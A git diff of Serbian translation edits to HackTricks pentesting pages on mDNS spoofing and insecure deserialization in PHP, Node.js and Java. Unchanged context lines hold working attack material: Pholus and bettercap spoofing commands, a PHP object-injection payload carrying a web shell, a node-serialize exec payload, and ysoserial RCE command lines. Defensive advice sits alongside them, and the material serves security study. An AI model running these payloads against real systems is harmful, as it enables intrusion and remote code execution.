mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
44863c77ae
commit
b08332989f
@ -59,7 +59,7 @@ Savjet: Neki pregledači/WebRTC koriste ephemerne mDNS hostnames za maskiranje l
|
||||
|
||||
### mDNS name probing ometanje (DoS / name squatting)
|
||||
|
||||
Tokom faze ispitivanja, host proverava jedinstvenost imena. Odgovaranje sa lažnim sukobima ga prisiljava da izabere nova imena ili da ne uspe. Ovo može odložiti ili sprečiti registraciju i otkrivanje usluga.
|
||||
Tokom faze ispitivanja, host proverava jedinstvenost imena. Odgovaranje sa lažnim sukobima prisiljava ga da izabere nova imena ili da ne uspe. Ovo može odložiti ili sprečiti registraciju i otkrivanje usluga.
|
||||
|
||||
Primer sa Pholus:
|
||||
```bash
|
||||
@ -69,11 +69,11 @@ sudo python3 pholus3.py <iface> -afre -stimeout 1000
|
||||
### Service spoofing and impersonation (MitM)
|
||||
|
||||
Imitirati reklamirane DNS-SD usluge (štampače, AirPlay, HTTP, deljenje fajlova) kako biste primorali klijente da se povežu sa vama. Ovo je posebno korisno za:
|
||||
- Zapošljavanje dokumenata imitujući _ipp._tcp ili _printer._tcp.
|
||||
- Hvatanje dokumenata imitujući _ipp._tcp ili _printer._tcp.
|
||||
- Mamiti klijente ka HTTP/HTTPS uslugama kako biste prikupili tokene/kolačiće ili isporučili payload-e.
|
||||
- Kombinovati sa NTLM relays tehnikama kada Windows klijenti pregovaraju o autentifikaciji sa imitiranih usluga.
|
||||
|
||||
Sa bettercap-ovim zerogod modulom (mDNS/DNS-SD spoofer/imitator):
|
||||
Sa bettercap-ovim zerogod modulom (mDNS/DNS-SD spoofer/impersonator):
|
||||
```bash
|
||||
# Start mDNS/DNS-SD discovery
|
||||
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
@ -98,16 +98,16 @@ Takođe pogledajte generičke LLMNR/NBNS/mDNS/WPAD spoofing i radne tokove za hv
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Beleške o nedavnim problemima sa implementacijom (korisno za DoS/persistenciju tokom angažmana)
|
||||
### Beleške o nedavnim problemima sa implementacijom (korisno za DoS/persistenciju tokom angažovanja)
|
||||
|
||||
- Avahi reachable-assertion i D-Bus greške (2023) mogu prekinuti avahi-daemon na Linux distribucijama (npr. CVE-2023-38469..38473, CVE-2023-1981), ometajući otkrivanje usluga na ciljnim hostovima do ponovnog pokretanja.
|
||||
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) omogućava susednim napadačima da izazovu visoku CPU upotrebu i isključe AP-ove. Ako naiđete na mDNS gateway između VLAN-ova, budite svesni njegove stabilnosti pod neispravnim ili visokim mDNS opterećenjem.
|
||||
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) omogućava susednim napadačima da izazovu visoku CPU i isključe AP-ove. Ako naiđete na mDNS gateway između VLAN-ova, budite svesni njegove stabilnosti pod neispravnim ili visokim brzinama mDNS.
|
||||
|
||||
## Odbrambene razmatranja i OPSEC
|
||||
|
||||
- Granice segmenta: Ne rutirajte 224.0.0.251/FF02::FB između bezbednosnih zona osim ako mDNS gateway nije izričito potreban. Ako morate da povežete otkrivanje, preferirajte allowlists i ograničenja brzine.
|
||||
- Windows krajnje tačke/serveri:
|
||||
- Da biste onemogućili rešavanje imena putem mDNS, postavite vrednost registra i ponovo pokrenite:
|
||||
- Da biste potpuno onemogućili razrešavanje imena putem mDNS, postavite vrednost registra i ponovo pokrenite:
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
@ -137,7 +137,7 @@ sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
|
||||
## Spoofing/MitM
|
||||
|
||||
Najzanimljiviji napad koji možete izvesti preko ove usluge je da izvršite MitM u komunikaciji između klijenta i pravog servera. Možda ćete moći da dobijete osetljive datoteke (MitM komunikacija sa štampačem) ili čak kredencijale (Windows autentifikacija).\
|
||||
Najzanimljiviji napad koji možete izvesti preko ove usluge je izvođenje MitM u komunikaciji između klijenta i pravog servera. Možda ćete moći da dobijete osetljive datoteke (MitM komunikacija sa štampačem) ili čak kredencijale (Windows autentifikacija).\
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
|
@ -4,21 +4,21 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Serialization** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, održavajući svoju strukturu i stanje.
|
||||
**Serijalizacija** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, zadržavajući svoju strukturu i stanje.
|
||||
|
||||
**Deserialization**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i rekonstrukciju nazad u objekat.
|
||||
**Deserijalizacija**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i rekonstrukciju nazad u objekat.
|
||||
|
||||
Deserialization može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
|
||||
Deserijalizacija može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
|
||||
|
||||
## PHP
|
||||
|
||||
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserializacije:
|
||||
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserijalizacije:
|
||||
|
||||
- `__sleep`: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba serijalizovati. Obično se koristi za obavezujuće podatke ili obavljanje sličnih zadataka čišćenja.
|
||||
- `__wakeup`: Poziva se kada se objekat deserializuje. Koristi se za ponovno uspostavljanje bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka ponovne inicijalizacije.
|
||||
- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserializuje. Daje više kontrole nad procesom deserializacije u poređenju sa `__wakeup`.
|
||||
- `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skripta završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje datotečnih rukova ili veza sa bazom podataka.
|
||||
- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na funkcijskim pozivima unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
|
||||
- `__wakeup`: Poziva se kada se objekat deserijalizuje. Koristi se za ponovnu uspostavu bilo kojih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka ponovne inicijalizacije.
|
||||
- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserijalizuje. Daje više kontrole nad procesom deserijalizacije u poređenju sa `__wakeup`.
|
||||
- `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skripta završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje rukovaoca datoteka ili veza sa bazom podataka.
|
||||
- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na pozivima funkcija unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -92,7 +92,7 @@ Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__des
|
||||
|
||||
Možete pročitati objašnjeni **PHP primer ovde**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
### PHP Deserial + Autoload Klase
|
||||
|
||||
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php datoteke i još više:
|
||||
|
||||
@ -118,9 +118,9 @@ $ser=serialize($o);
|
||||
### Sprečavanje PHP objekat injekcije sa `allowed_classes`
|
||||
|
||||
> [!INFO]
|
||||
> Podrška za **drugi argument** `unserialize()` (niz `$options`) je dodata u **PHP 7.0**. U starijim verzijama funkcija prihvata samo serijalizovanu string, što onemogućava ograničavanje koje klase mogu biti instancirane.
|
||||
> Podrška za **drugi argument** funkcije `unserialize()` (niz `$options`) je dodata u **PHP 7.0**. U starijim verzijama funkcija prihvata samo serijalizovani string, što onemogućava ograničavanje koje klase mogu biti instancirane.
|
||||
|
||||
`unserialize()` će **instancirati svaku klasu** koju pronađe unutar serijalizovanog toka osim ako nije drugačije rečeno. Od PHP 7, ponašanje se može ograničiti sa [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) opcijom:
|
||||
`unserialize()` će **instancirati svaku klasu** koju pronađe unutar serijalizovanog toka osim ako nije drugačije rečeno. Od PHP 7, ponašanje se može ograničiti sa opcijom [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -139,7 +139,7 @@ Ako je **`allowed_classes` izostavljen _ili_ se kod izvršava na PHP < 7.0**, po
|
||||
|
||||
#### Primer iz stvarnog sveta: Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
WordPress dodatak **Everest Forms ≤ 3.2.2** pokušao je da bude odbramben sa pomoćnim wrapper-om, ali je zaboravio na legacijske PHP verzije:
|
||||
WordPress dodatak **Everest Forms ≤ 3.2.2** pokušao je da bude odbramben sa pomoćnim omotačem, ali je zaboravio na starije verzije PHP-a:
|
||||
```php
|
||||
function evf_maybe_unserialize($data, $options = array()) {
|
||||
if (is_serialized($data)) {
|
||||
@ -154,7 +154,7 @@ return @unserialize(trim($data));
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
Na serverima koji su još uvek koristili **PHP ≤ 7.0**, ova druga grana dovela je do klasične **PHP Object Injection** kada je administrator otvorio zlonamerni obrazac za slanje. Minimalni exploit payload mogao bi izgledati ovako:
|
||||
Na serverima koji su još uvek koristili **PHP ≤ 7.0**, ova druga grana dovela je do klasične **PHP Object Injection** kada je administrator otvorio zlonamerni obrazac. Minimalni exploit payload mogao bi izgledati ovako:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
@ -170,10 +170,10 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
### PHPGGC (ysoserial za PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) može vam pomoći da generišete payload-ove za zloupotrebu PHP deseralizacija.\
|
||||
Imajte na umu da u nekoliko slučajeva **nećete moći da pronađete način da zloupotrebite deseralizaciju u izvoru koda** aplikacije, ali možda ćete moći da **zloupotrebite kod eksternih PHP ekstenzija.**\
|
||||
Imajte na umu da u nekoliko slučajeva **nećete moći da pronađete način da zloupotrebite deseralizaciju u izvor kodu** aplikacije, ali možda ćete moći da **zloupotrebite kod eksternih PHP ekstenzija.**\
|
||||
Dakle, ako možete, proverite `phpinfo()` servera i **pretražujte internet** (čak i na **gadgets** od **PHPGGC**) za neke moguće gadgete koje biste mogli zloupotrebiti.
|
||||
|
||||
### phar:// metadata deseralizacija
|
||||
### phar:// metadata deserialization
|
||||
|
||||
Ako ste pronašli LFI koji samo čita datoteku i ne izvršava php kod unutar nje, na primer koristeći funkcije kao što su _**file_get_contents(), fopen(), file() ili file_exists(), md5_file(), filemtime() ili filesize()**_**.** Možete pokušati da zloupotrebite **deseralizaciju** koja se dešava prilikom **čitavanja** **datoteke** koristeći **phar** protokol.\
|
||||
Za više informacija pročitajte sledeći post:
|
||||
@ -222,9 +222,9 @@ python-yaml-deserialization.md
|
||||
### JS Magic Functions
|
||||
|
||||
JS **nema "magic" funkcije** kao PHP ili Python koje će biti izvršene samo za kreiranje objekta. Ali ima neke **funkcije** koje se **često koriste čak i bez direktnog pozivanja** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Ako zloupotrebljavate deserializaciju, možete **kompromitovati ove funkcije da izvršite drugi kod** (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.
|
||||
Ako zloupotrebljavate deserializaciju, možete **kompromitovati te funkcije da izvrše drugi kod** (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.
|
||||
|
||||
Još jedan **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugu **promise** sa **svojstvom** pod nazivom **"then" tipa funkcije**, biće **izvršeno** samo zato što je vraćeno iz druge promise. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
|
||||
Drugi **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugu **promise** sa **svojstvom** pod nazivom **"then" tipa funkcije**, biće **izvršeno** samo zato što je vraćeno iz druge promise. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -295,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Kao što je prethodno navedeno, ova biblioteka će dobiti kod nakon `_$$ND_FUNC$$_` i **izvršiće ga** koristeći `eval`. Stoga, da biste **automatski izvršili kod**, možete **izbrisati deo za kreiranje funkcije** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
|
||||
Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon `_$$ND_FUNC$$_` i **izvršiće ga** koristeći `eval`. Stoga, da biste **automatski izvršili kod**, možete **izbrisati deo za kreiranje funkcije** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -365,13 +365,13 @@ Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti o
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
U Javi, **deserializacijski povratni pozivi se izvršavaju tokom procesa deserializacije**. Ova izvršenja mogu biti iskorišćena od strane napadača koji kreiraju zlonamerne payload-e koji aktiviraju ove povratne pozive, što može dovesti do potencijalnog izvršenja štetnih radnji.
|
||||
U Javi, **deserializacijski callback-ovi se izvršavaju tokom procesa deserializacije**. Ova izvršenja mogu biti iskorišćena od strane napadača koji kreiraju zlonamerne payload-ove koji aktiviraju ove callback-ove, što može dovesti do potencijalnog izvršenja štetnih radnji.
|
||||
|
||||
### Otisci
|
||||
|
||||
#### Bela kutija
|
||||
#### White Box
|
||||
|
||||
Da biste identifikovali potencijalne ranjivosti u serijalizaciji u kodu, potražite:
|
||||
Da biste identifikovali potencijalne ranjivosti u serijalizaciji u kodu, tražite:
|
||||
|
||||
- Klase koje implementiraju `Serializable` interfejs.
|
||||
- Korišćenje `java.io.ObjectInputStream`, `readObject`, `readUnshare` funkcija.
|
||||
@ -385,16 +385,16 @@ Obratite posebnu pažnju na:
|
||||
- `ObjectInputStream.readUnshared`.
|
||||
- Opštu upotrebu `Serializable`.
|
||||
|
||||
#### Crna kutija
|
||||
#### Black Box
|
||||
|
||||
Za testiranje crne kutije, tražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (koji potiču od `ObjectInputStream`):
|
||||
Za black box testiranje, tražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (proizlazeći iz `ObjectInputStream`):
|
||||
|
||||
- Hexadecimalni obrazac: `AC ED 00 05`.
|
||||
- Base64 obrazac: `rO0`.
|
||||
- HTTP odgovarajući zaglavlja sa `Content-type` postavljenim na `application/x-java-serialized-object`.
|
||||
- Hexadecimalni obrazac koji označava prethodnu kompresiju: `1F 8B 08 00`.
|
||||
- Base64 obrazac koji označava prethodnu kompresiju: `H4sIA`.
|
||||
- Web datoteke sa ekstenzijom `.faces` i parametrom `faces.ViewState`. Otkriće ovih obrazaca u web aplikaciji treba da pokrene ispitivanje kao što je detaljno opisano u [postu o Java JSF ViewState Deserializaciji](java-jsf-viewstate-.faces-deserialization.md).
|
||||
- Web datoteke sa ekstenzijom `.faces` i parametrom `faces.ViewState`. Otkriće ovih obrazaca u web aplikaciji treba da podstakne ispitivanje kao što je detaljno opisano u [postu o Java JSF ViewState Deserializaciji](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
@ -409,9 +409,9 @@ Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
Možete pokušati da **proverite sve biblioteke** za koje je poznato da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Možete pokušati da **proverite sve biblioteke** za koje se zna da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da tražite moguće lance gadgeta koji se mogu iskoristiti.\
|
||||
Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molimo vas, primetite da **gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate**.
|
||||
Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molimo vas, imajte na umu da **gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate**.
|
||||
|
||||
#### Black Box Test
|
||||
|
||||
@ -424,7 +424,7 @@ Koristeći Burp ekstenziju [**Java Deserialization Scanner**](java-dns-deseriali
|
||||
Java Deserialization Scanner se fokusira na **`ObjectInputStream`** deserializacije.
|
||||
|
||||
Takođe možete koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete ranjivosti deserializacije** u **Burp**. Ovaj dodatak će otkriti **ne samo `ObjectInputStream`** povezane ranjivosti, već **takođe** ranjivosti iz **Json** i **Yml** biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads.\
|
||||
[**Možete pronaći više informacija o Freddyu ovde.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
[**Više informacija o Freddyu možete pronaći ovde.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serialization Test**
|
||||
|
||||
@ -436,7 +436,7 @@ Ako pronađete java serijalizovani objekat koji se šalje web aplikaciji, **mož
|
||||
#### **ysoserial**
|
||||
|
||||
Glavni alat za eksploataciju Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**preuzmite ovde**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Takođe možete razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti da koristite složene komande (na primer, sa cevima).\
|
||||
Napomena: ovaj alat je **fokusiran** na eksploataciju **`ObjectInputStream`**.\
|
||||
Imajte na umu da je ovaj alat **fokusiran** na eksploataciju **`ObjectInputStream`**.\
|
||||
Počeo bih da koristim "URLDNS" payload **pre RCE** payload-a da testiram da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
@ -482,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Kada kreirate payload za **java.lang.Runtime.exec()** ne **možete koristiti specijalne karaktere** poput ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak **proslediti argumente** komandi odvojene sa **razmacima** (možete uraditi `echo -n "hello world"` ali ne možete uraditi `python2 -c 'print "Hello world"'`). Da biste ispravno kodirali payload, možete [koristiti ovu veb stranicu](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Kada kreirate payload za **java.lang.Runtime.exec()** ne **možete koristiti specijalne karaktere** kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak **proslediti argumente** komandi odvojene sa **razmacima** (možete uraditi `echo -n "hello world"` ali ne možete uraditi `python2 -c 'print "Hello world"'`). Da biste ispravno kodirali payload, možete [koristiti ovu veb stranicu](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Slobodno koristite sledeći skript za kreiranje **svi mogućih payload-a za izvršenje koda** za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:
|
||||
```python
|
||||
@ -538,18 +538,18 @@ Pročitajte više o ovoj Java JSON biblioteci: [https://www.alphabot.com/securit
|
||||
|
||||
### Labs
|
||||
|
||||
- Ako želite da testirate neke ysoserial payload-e, možete **pokrenuti ovu web aplikaciju**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- Ako želite da testirate neke ysoserial payload-ove možete **pokrenuti ovu web aplikaciju**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Zašto
|
||||
|
||||
Java koristi mnogo serijalizaciju za različite svrhe kao što su:
|
||||
Java koristi mnogo serijalizaciju za razne svrhe kao što su:
|
||||
|
||||
- **HTTP zahtevi**: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima itd.
|
||||
- **RMI (Remote Method Invocation)**: Java RMI protokol, koji se potpuno oslanja na serijalizaciju, je kamen temeljac za daljinsku komunikaciju u Java aplikacijama.
|
||||
- **RMI preko HTTP-a**: Ova metoda se obično koristi od strane Java aplikacija sa debelim klijentima, koristeći serijalizaciju za sve komunikacije objekata.
|
||||
- **RMI preko HTTP-a**: Ova metoda se obično koristi od strane Java-baziranih debelih klijentskih web aplikacija, koristeći serijalizaciju za sve komunikacije objekata.
|
||||
- **JMX (Java Management Extensions)**: JMX koristi serijalizaciju za prenos objekata preko mreže.
|
||||
- **Prilagođeni protokoli**: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u predstojećim primerima eksploatacije.
|
||||
- **Prilagođeni protokoli**: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u nadolazećim primerima eksploatacije.
|
||||
|
||||
### Prevencija
|
||||
|
||||
@ -564,15 +564,15 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Izbegavajte serijalizaciju klase koja treba da implementira Serializable
|
||||
|
||||
U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializovani definišući `final` `readObject()` metodu koja dosledno baca izuzetak, kao što je prikazano u nastavku:
|
||||
U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializabilni definišući `final` `readObject()` metodu koja dosledno baca izuzetak, kao što je prikazano u nastavku:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **Poboljšanje bezbednosti deserializacije u Javi**
|
||||
#### **Poboljšanje sigurnosti deserializacije u Javi**
|
||||
|
||||
**Prilagođavanje `java.io.ObjectInputStream`** je praktičan pristup za obezbeđivanje procesa deserializacije. Ova metoda je pogodna kada:
|
||||
**Prilagođavanje `java.io.ObjectInputStream`** je praktičan pristup za osiguranje procesa deserializacije. Ova metoda je pogodna kada:
|
||||
|
||||
- Kod deserializacije je pod vašom kontrolom.
|
||||
- Klase koje se očekuju za deserializaciju su poznate.
|
||||
@ -632,7 +632,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- Deserialization i ysoserial razgovor: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Razgovor o gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Razgovor o gadgetinspectoru: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec rad: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
@ -642,7 +642,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
Saznajte šta je **JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
|
||||
Pronađite šta je **JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -650,7 +650,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> **Java Message Service** (**JMS**) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom koju je razvila kompanija Sun Microsystems, ali kojom je od tada upravljao Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
